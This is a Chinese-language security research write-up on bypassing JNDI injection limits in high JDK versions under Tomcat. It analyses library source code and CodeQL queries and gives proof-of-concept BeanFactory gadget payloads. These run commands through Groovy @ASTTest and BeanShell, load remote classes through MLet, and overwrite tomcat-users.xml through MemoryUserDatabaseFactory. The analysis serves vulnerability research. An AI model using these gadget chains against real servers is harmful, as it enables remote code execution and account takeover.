Tomcat下JNDI高版本繞過淺析
最近Log4j的漏洞引起了很多師傅對JNDI注入漏洞利用的研究,淺藍師傅的文章探索高版本 JDK 下 JNDI漏洞的利用方法提出了很多關于繞過JNDI高版本限制的方法,本文主要是對文章中的部分方法進行分析并加上一些我個人的思考。
前言
在分析這些具體的方法前,我們先對繞過的整體思路做一個闡述。目前高版本JDK的防護方式主要是針對加載遠程的ObjectFactory的加載做限制,只有開啟了某些屬性后才會通過指定的遠程地址獲取ObjectFactory的Class并實例化,進而通過ObjectFactory#getObjectInstance來獲取返回的真實對象。但是在加載遠程地址獲取ObjectFactory前,首先在本地ClassPath下加載指定的ObjectFactory,本地加載ObjectFactory失敗后才會加載遠程地址的ObjectFactory,所以一個主要的繞過思路就是加載本地ClassPath下的ObjectFactory。
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;
// 首先加載當前環境下ClassPath下的ObjectFactory
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// 當前ClassPath加載失敗才會加載classFactoryLocation中指定地址的ObjectFactory
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
所以我們需要找到一個javax.naming.spi.ObjectFactory接口的實現類,在這個實現類的getObjectInstance可以實現一些惡意操作。但是在JDK提供的原生實現類里其實并沒有操作空間。所以下面我們主要的思路就是在一些常用的框架或者組件中尋找可利用的ObjectFactory實現類。

常規繞過方式總結
Tomcat下的繞過比較精彩的并不是EL表達式利用,而是通過BeanFactory#getObjectInstance將這個漏洞的利用面從僅僅只能從ObjectFactory實現類的getObjectInstance方法利用擴展為一次可以調用”任意”類的”任意”方法的機會,但是對調用的類和方法以及參數有些限制。
- 該類必須包含public無參構造方法
- 調用的方法必須是public方法
- 調用的方法只有一個參數并且參數類型為String類型
所以下面我們只要找到某個類的某個方法既滿足了上面的條件又實現我們想要的功能。
javax.el.ELProcessor#eval執行命令,但是ELProcessor是在Tomcat8才引入的。groovy.lang.GroovyShell#evaluate(java.lang.String)通過Groovy執行命令。com.thoughtworks.xstream.XStream().fromXML(String)通過調用XStream轉換XML時的反序列化漏洞導致的RCE,這里之所以選擇XStream是因為Xstream的反序列化漏洞和影響版本比較多。JSON的轉換的漏洞相對來說通用性不高。org.yaml.snakeyaml.Yaml#load(java.lang.String)加載Yaml時的反序列化漏洞,在SpringBoot中經常會使用snakeyaml來進行yml配置文件的解析。org.mvel2.MVEL#eval(String)執行命令,這里淺藍師傅文章中提到的是MVEL類是private所以要找上層調用,我在2.0.17中測試Mvel是存在public無參構造方法的,高版本確實換成了private構造方法。所以只能找那里調用了Mvel#eval方法,而org.mvel2.sh.ShellSession#exec調用了Mvel#eval,因此可以通過ShellSession#exec來間接完成調用。com.sun.glass.utils.NativeLibLoader#loadLibrary(String)加載DLL,前提是我們已經將構造好的DLL上傳至目標上,所以局限性比較大。
CodeQL分析MVEL調用鏈挖掘過程
上面這些利用方法原理理解都比較簡單,但是作者怎么找到org.mvel2.sh.ShellSession#exec的過程我比較好奇,排除他已知這個方法可以調用外,我們可以思考一下作者如何找到這個方法的。要找到這個方法的思路其實比較簡單,可以按照下面的思路。
- 除了
org.mvel2.MVEL#eval(String)可以執行命令其他重載的eval方法也可以執行命令 - 查找調用這些eval方法的調用,直到找到一個調用類存在public構造方法且間接調用eval的方法也是public類型并且參數為string類型
但是如果手動找的話其實比較麻煩,因為調用eval方法的函數其實比較多,如下圖所示。

所以我想用CodeQL來幫我們做這件事情,由于MVEL是github上的開源項目,所以可以直接在這里下載到數據庫。由于eval方法的第一個參數是要執行的表達式,所以我們將這個參數作為sink,source的名稱我們不做限制,但是要限制方法的參數為string且只有一個參數,代碼如下:
/**
*@name Tainttrack Context lookup
*@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class MVEL extends RefType{
MVEL(){
this.hasQualifiedName("org.mvel2", "MVEL")
}
}
//限制參數的類型和數量
class CallEval extends Method {
CallEval(){
this.getNumberOfParameters() = 1 and this.getParameter(0).getType() instanceof TypeString
}
Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
//限制方法的名稱和類型
predicate isEval(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName()="eval"
and
ma.getMethod().getDeclaringType() instanceof MVEL
and
arg = ma.getArgument(0)
)
}
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() {
this = "TainttrackLookup"
}
override predicate isSource(DataFlow::Node source) {
exists(CallEval evalMethod |
source.asParameter() = evalMethod.getAnUntrustedParameter())
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg |
isEval(arg)
and
sink.asExpr() = arg
)
}
}
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
但是跑完以后去掉一些看上去有問題的鏈后并沒有找到淺藍師傅發現的那個調用鏈,只找到了下面的調用鏈,但是也是在MVEL類中的,所以也不能利用。

下面分析下為什么沒跑出來,首先看下我們設置的sink是否有問題,sink確實可以找到PushContext#execute方法,所以sink這里沒有問題。

再通過下面的代碼檢測source是否設置正確,也沒有問題,所以說明在污點傳播的過程中被打斷了。

經過分析,猜測可能打斷污點傳播的點有兩處。
- exec方法直接將參數添加到
inBuffer中并調用了無參構造方法,如果分析中認為調用無參構造方法就認為污點會被打斷那么這里就會導致污點傳播被打斷

- 在
_exec中通過arraycopy完成了passParameters的賦值操作,如果CodeQL這里沒分析好也會導致污點傳播被打斷。

首先分析第一種情況,在_exec中將inBuffer的值封裝為inTokens后調用了containsKey方法,所以我們在不更改source的情況下將sink更改為對containsKey的調用。

predicate isEval(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName()="containsKey"
and
arg = ma.getArgument(0)
)
}
可以看到確實是可以從ShellSession#exec追蹤到commands.containsKey中的,所以第一種假設就被推翻了。

再來看第二種猜測,只要我們編寫一個isAdditionalTaintStep將arraycopy的第1個參數和execute的第2個參數接起來即可。
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma,MethodAccess ma2 |
ma.getMethod().getDeclaringType().hasQualifiedName("java.lang", "System")
and ma.getMethod().hasName("arraycopy") and fromNode.asExpr()=ma.getArgument(0)
and ma2.getMethod().getDeclaringType().hasQualifiedName("org.mvel2.sh", "Command")
and ma2.getMethod().hasName("execute") and toNode.asExpr()=ma2.getArgument(1)
)
}
最終就可以拿到淺藍師傅發現的調用鏈。

MLet利用方式分析
MLet是UrlClassLoader的子類,因此理論上可以通過loadClass加載遠程地址的類進行利用,代碼如下:
MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:2333/");
mLet.loadClass("Exploit");
失敗的利用分析
雖然說loadClass在加載以后沒有newInstance不能觸發類的初始化操作,但是在BeanFactory中本身就會根據我們傳入的名稱來實例化對象,如果我們發送兩次請求,第一次通過UrlClassLoader加載到內存,由于在loadClass加載的過程中有個緩存機制,如果已經加載過的類會直接返回,我們在第二次請求中直接讓實例化這個類不就可以了。
protected Class loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
但實際是不行的,因為BeanFactory中獲取到類名后是通過Thread.currentThread().getContextClassLoader()這個加載器來加載類的,而這個類加載器肯定不是Mlet那個加載器,所以它沒有加載過我們創建的惡意類,自然也獲取不到了。
if (obj instanceof ResourceRef) {
try {
//從引用對象中獲取類名
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class beanClass = null;
//獲取加載器加載類
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
var25.printStackTrace();
}
}
方法多次調用分析
那么Mlet為什么可以調用多個方法,因為按照我們前面的分析,只會調用一個方法。下面我們簡要分析下org.apache.naming.factory.BeanFactory#getObjectInstance。
- 從引用對象中獲取類名并實例化,這里需要注意的是 這個類只實例化了一次 。再從forceString屬性中獲取內容并通過
,分割轉換為數組,遍歷數組中的內容并根據=分割獲取要調用的方法名獲取method對象并保存到Map中。
if (obj instanceof ResourceRef) {
try {
//從引用對象中獲取類名
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class beanClass = null;
//獲取加載器加載類
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
var25.printStackTrace();
}
}
//加載失敗拋出異常
if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
//獲取class的對應的對象,只實例化了一次
Object bean = beanClass.getConstructor().newInstance();
//從forceString中獲取引用屬性
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
String value;
String propName;
int i;
if (ra != null) {
//獲取forceString的內容并通過`,`分割
value = (String)ra.getContent();
//paramTypes為String類型
Class[] paramTypes = new Class[]{String.class};
String[] var18 = value.split(",");
i = var18.length;
for(int var20 = 0; var20 < i; ++var20) {
String param = var18[var20];
param = param.trim();
//根據等號分割獲取propName和param,如果沒有等號則轉成setter方法
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}
//通過propName和paramTypes獲取Method并放到param中
try {
forced.put( , beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
}
}
- 下面獲取引用對象中保存的所有屬性,通過while循環遍歷屬性內容并賦值給valueArray作為參數最終通過invoke完成反射調用。這里需要注意的是 反射調用是在while循環中的,所以可以調用多個方法 。
//從引用對象中獲取所有的屬性
Enumeration e = ref.getAll();
//遍歷屬性
while(true) {
while(true) {
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}
· //獲取屬性
ra = (RefAddr)e.nextElement();
//獲取propName
propName = ra.getType();
//如果propName是下面的值則跳過
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));
//獲取屬性中的內容
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
//根據propName從map中獲取method
Method method = (Method)forced.get(propName);
if (method != null) {
//將屬性中的內容賦給valueArray
valueArray[0] = value;
try {
//反射調用方法
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
}
所以通過上面的分析發現其實在BeanFactory中其實可以調用多個方法,但是這些方法必須都在同一個Class中。并且
由于在這個過程中Class只被實例化了一次,因此可以通過調用不同的方法為Class的屬性賦值 。
下來再看這個poc就可以理解為什么可以這么構造了。
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
//指定要調用的方法名
ref.add(new StringRefAddr("forceString", "b=addURL,c=loadClass"));
//為不同的方法的參數賦值
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "Blue"));
return ref;
失敗的UrlClassLoader調用鏈挖掘嘗試
通過Mlet的加載雖然不能利用,但是我們也可以學習到淺藍師傅挖掘調用鏈的思路,即通過UrlClassLoader的實現類尋找可以加載遠程類的代碼。
我們也可以嘗試去挖掘對UrlClassLoader的調用,相關的調用需要滿足以下條件:
- 存在public構造方法
- 繼承UrlClassLoader并調用了loadClass方法
WebappClassLoaderBase似乎滿足條件,雖然這個類本身沒有public構造方法,但是其子類WebappClassLoader是有無參構造方法的。但是由于WebappClassLoaderBase的addURL方法不是public類型的,所以無法利用。

org.codehaus.plexus.compiler.javac.IsolatedClassLoader滿足上面的條件,但是addURL方法的參數不是String類型,所以也無法利用。
public class IsolatedClassLoader extends URLClassLoader {
private ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();
public IsolatedClassLoader() {
super(new URL[0], (ClassLoader)null);
}
public void addURL(URL url) {
super.addURL(url);
}
public synchronized Class loadClass(String className) throws ClassNotFoundException {
Class c = this.findLoadedClass(className);
ClassNotFoundException ex = null;
if (c == null) {
try {
c = this.findClass(className);
} catch (ClassNotFoundException var5) {
ex = var5;
if (this.parentClassLoader != null) {
c = this.parentClassLoader.loadClass(className);
}
}
}
if (c == null) {
throw ex;
} else {
return c;
}
}
}
所以似乎沒有其他可以直接利用的ClassLoader了。
GroovyClassLoader執行命令分析
那么為什么GroovyClassLoader可以加載遠程的class并執行里面的內容呢?
首先在addClasspath中會將我們傳入的path轉換為URI并添加到當前的GroovyClassLoader對象中。
public void addClasspath(final String path) {
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
try {
URI newURI;
//正則匹配\p{Alpha}[-+.\p{Alnum}]*:[^\\]*,如果我們傳入的是http的url是不會被匹配到的
if (!GroovyClassLoader.URI_PATTERN.matcher(path).matches()) {
newURI = (new File(path)).toURI();
} else {
//根據傳入的path構建url對象
newURI = new URI(path);
}
//獲取GroovyClassLoader中保存的url
URL[] urls = GroovyClassLoader.this.getURLs();
URL[] arr$ = urls;
int len$ = urls.length;
//判斷newURI是否在url列表中
for(int i$ = 0; i$ < len$; ++i$) {
URL url = arr$[i$];
if (newURI.equals(url.toURI())) {
return null;
}
}
//將url添加到GroovyClassLoader對象中
GroovyClassLoader.this.addURL(newURI.toURL());
} catch (MalformedURLException var7) {
} catch (URISyntaxException var8) {
}
return null;
}
});
}
GroovyClassLoader#loadClass首先通過UrlClassLoader根據我們傳入的名稱加載遠程的Class,加載失敗后則根據名稱加載groovy,加載成功后會對遠程加載的groovy代碼編譯。
public Class loadClass(String name, boolean lookupScriptFiles, boolean preferClassOverScript, boolean resolve) throws ClassNotFoundException, CompilationFailedException {
Class cls = this.getClassCacheEntry(name);
boolean recompile = this.isRecompilable(cls);
if (!recompile) {
return cls;
} else {
ClassNotFoundException last = null;
try {
//首先通過UrlClassLoader加載類加載成功則返回,失敗則繼續執行
Class parentClassLoaderClass = super.loadClass(name, resolve);
if (cls != parentClassLoaderClass) {
return parentClassLoaderClass;
}
} catch (ClassNotFoundException var19) {
last = var19;
} catch (NoClassDefFoundError var20) {
if (var20.getMessage().indexOf("wrong name") <= 0) {
throw var20;
}
last = new ClassNotFoundException(name);
}
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
String className = name.replace('/', '.');
int i = className.lastIndexOf(46);
if (i != -1 && !className.startsWith("sun.reflect.")) {
sm.checkPackageAccess(className.substring(0, i));
}
}
if (cls != null && preferClassOverScript) {
return cls;
} else {
if (lookupScriptFiles) {
try {
//從緩存中先獲取Class
Class classCacheEntry = this.getClassCacheEntry(name);
if (classCacheEntry != cls) {
Class var24 = classCacheEntry;
return var24;
}
//根據名稱獲取遠程groovy的url
URL source = this.resourceLoader.loadGroovySource(name);
Class oldClass = cls;
cls = null;
//編譯groovy代碼
cls = this.recompile(source, name, oldClass);
} catch (IOException var17) {
....
}
}

在recompile中判斷URL是否是文件類型,如果不是則加載遠程url中指定的groovy并進行parse。
protected Class recompile(URL source, String className, Class oldClass) throws CompilationFailedException, IOException {
if (source == null || (oldClass == null || !this.isSourceNewer(source, oldClass)) && oldClass != null) {
return oldClass;
} else {
synchronized(this.sourceCache) {
String name = source.toExternalForm();
this.sourceCache.remove(name);
//判斷是否為本地file
if (this.isFile(source)) {
Class var10000;
try {
var10000 = this.parseClass(new GroovyCodeSource(new File(source.toURI()), this.config.getSourceEncoding()));
} catch (URISyntaxException var8) {
return this.parseClass(source.openStream(), name);
}
return var10000;
} else {
//加載url中指定的groovy
return this.parseClass(source.openStream(), name);
}
}
}
}
而在parseClass的過程中會執行@ASTTest中的代碼,因此可以命令執行。
@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")})
class Person{}
在查找資料的過程中,發現淺析JNDI注入Bypass中也提到了Groovy的繞過利用,可以看到這里其實可以直接調用GroovyClassLoader#parseClass并傳入我們構造好的內容執行命令。
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")" +
"})" +
"def x";
ref.add(new StringRefAddr("x",script));
命令執行利用鏈挖掘
除了尋找UrlClassLoader加載遠程類外,還有一個思路是尋找可以執行命令的點,那么為什么ScriptEngine作為JDK自帶的可以執行命令的方式不行呢?
因為通過ScriptEngine來執行命令,都需要兩個參數,所以不能通過ScriptEngine調用執行命令。
public Object eval(String script, Bindings bindings) throws ScriptException {
ScriptContext ctxt = getScriptContext(bindings);
return eval(script , ctxt);
}
public Object eval(Reader reader, ScriptContext ctxt) throws ScriptException {
return this.evalImpl(makeSource(reader, ctxt), ctxt);
}
嘗試通過CodeQL找下NashornScriptEngine#eval的調用,確實也沒有參數為string類型的調用,所以從原生的JDK中應該是找不到命令執行的點了。
除了上面列出的執行命令的方式外,beanshell也可以執行命令,并且滿足我們的條件,因此也可以使用beanshell的利用方式。
ResourceRef ref = new ResourceRef("bsh.Interpreter", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=eval"));
ref.add(new StringRefAddr("a", "exec(\"cmd.exe /c calc.exe\")"));
return ref;

MemoryUserDatabaseFactory利用鏈
上面的分析都是建立在Tomcat下的BeanFactory的利用下的,我們也可以尋找其他實現了ObjectFactory的類利用,淺藍師傅找到的MemoryUserDatabaseFactory利用過程比較精彩,這里著重分析一下。
XXE
MemoryUserDatabaseFactory#getObjectInstance首先創建一個MemoryUserDatabase對象,首先看下tomcat對這個對象的解釋,和tomcat的用戶有關,tomcat會將這個對象中的內容存儲到xml中。
UserDatabase的具體實現,它將所有已定義的用戶、組和角色加載到內存中的數據結構中,并使用指定的XML文件進行持久存儲。
創建MemoryUserDatabase后會從我們傳入的引用對象中獲取pathname、database、readonly并設置到新建的MemoryUserDatabase對象中。
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
//判斷class是否是org.apache.catalina.UserDatabase
if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {
return null;
} else {
MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
RefAddr ra = null;
//從引用對象中獲取pathname屬性
ra = ref.get("pathname");
if (ra != null) {
//給database設置屬性
database.setPathname(ra.getContent().toString());
}
//從引用對象中獲取readonly屬性
ra = ref.get("readonly");
if (ra != null) {
database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
}
//從引用對象中獲取watchSource屬性
ra = ref.get("watchSource");
if (ra != null) {
database.setWatchSource(Boolean.parseBoolean(ra.getContent().toString()));
}
//調用open
database.open();
//只有readonly屬性為false才會進入save方法,readonly屬性可以通過引用中獲取
if (!database.getReadonly()) {
//調用save
database.save();
}
return database;
}
} else {
return null;
}
}
open方法會去加載遠程的xml文件并進行解析。
public void open() throws Exception {
this.writeLock.lock();
try {
this.users.clear();
this.groups.clear();
this.roles.clear();
//從之前保存的屬性中獲取pathName
String pathName = this.getPathname();
//創建URI對象
URI uri = ConfigFileLoader.getURI(pathName);
URLConnection uConn = null;
try {
//請求url并獲取內容
URL url = uri.toURL();
uConn = url.openConnection();
InputStream is = uConn.getInputStream();
this.lastModified = uConn.getLastModified();
Digester digester = new Digester();
try {
digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
} catch (Exception var28) {
log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), var28);
}
digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
//解析請求后的內容
digester.parse(is);
} catch (IOException var29) {
log.error(sm.getString("memoryUserDatabase.fileNotFound", new Object[]{pathName}));
} catch (Exception var30) {
this.users.clear();
this.groups.clear();
this.roles.clear();
throw var30;
} finally {
if (uConn != null) {
try {
uConn.getInputStream().close();
} catch (IOException var27) {
log.warn(sm.getString("memoryUserDatabase.fileClose", new Object[]{this.pathname}), var27);
}
}
}
} finally {
this.writeLock.unlock();
}
}
而在parse的過程中會對獲取到的xml解析,因此存在xxe漏洞。
public Object parse(InputStream input) throws IOException, SAXException {
this.configure();
InputSource is = new InputSource(input);
this.getXMLReader().parse(is);
return this.root;
}

RCE
前面也說過MemoryUserDatabase存儲了Tomcat的用戶信息并且會存儲到xml,那么我們也知道tomcat中的用戶信息是在tomcat- users.xml中的,所以是否我們直接在xml中構建一個我們已知賬號密碼的xml,讓其加載。
在open方法加載遠程xml并解析后,如果readonly屬性我們設置為false會進入save方法保存xml。
save方法首先判斷isWriteable是否為true,否則直接返回
public void save() throws Exception {
if (this.getReadonly()) {
log.error(sm.getString("memoryUserDatabase.readOnly"));
//判斷isWriteable是否為true,否則直接返回
} else if (!this.isWriteable()) {
log.warn(sm.getString("memoryUserDatabase.notPersistable"));
} else {
File fileNew = new File(this.pathnameNew);
if (!fileNew.isAbsolute()) {
fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
}
在isWriteable中會將catalina.base和pathname拼接并判斷其目錄是否存在如果不存在則返回false。可以看到我們的url地址被處理為\http:\127.0.0.1\tomcat- user.xml這種形式,所以我們可以通過[http://127.0.0.1/../../tomcat- user.xml](http://127.0.0.1/../../tomcat-user.xml)來繞過,也不會影響xml的加載。

后面就是執行xml文件寫入的功能,可以看到執行完后用戶的配置文件已經寫入到目標目錄下,由于真正的配置是在conf目錄下的,所以url中還要加個conf目錄。

但是這種繞過方式和Tomcat的版本有關,在Tomcat8的open方法中是通過ConfigFileLoader.getURI(pathName);來獲取xml的是可以加載遠程XML的。

在Tomcat7版本中open方法中是通過ConfigFileLoader.getInputStream(pathName);獲取的。

在getInputStream中首先通過file協議加載加載失敗才會通過URL記載,所以這種利用方式似乎不能用在Tomcat7的版本,但是高版本的利用本身也有EL表達式,因此MemoryUserDatabaseFactory利用鏈似乎
有些雞肋,但是從學習的角度來看還是很有價值的。

總結
本文討論的繞過主要是針對Tomcat下的利用,大多數的利用方式建立在tomcat的BeanFactory利用之上,通過上面的分析,我們對這些利用鏈的發現思路做一個總結。
- 尋找可以執行命令的函數,可以直接傳入一個string參數執行命令(EL、MVEL、Groovy、Beanshell)
- 尋找UrlClassLoader,但是這種除了GroovyClassLoader比較特殊會在加載的過程中執行命令,其他實現UrlClassLoader的類加載后并不會實例化
- 已知存在漏洞的組件,可以直接傳入String參數利用后間接執行命令(Xstrem、snakeyaml)
我們從利用的角度再思考一下,目前挖掘這么多利用鏈的方式其實主要是想解決tomcat低版本下的繞過,雖然Tomcat原生的MemoryUserDatabaseFactory利用鏈非常精彩,不過很遺憾在Tomcat7也不能使用。目前還是只能依賴一些命令執行或者存在漏洞的組件來利用,并不具備通用性。最后感謝淺藍師傅的分享。
參考
探索高版本 JDK 下 JNDI 漏洞的利用方法
淺析JNDI注入Bypass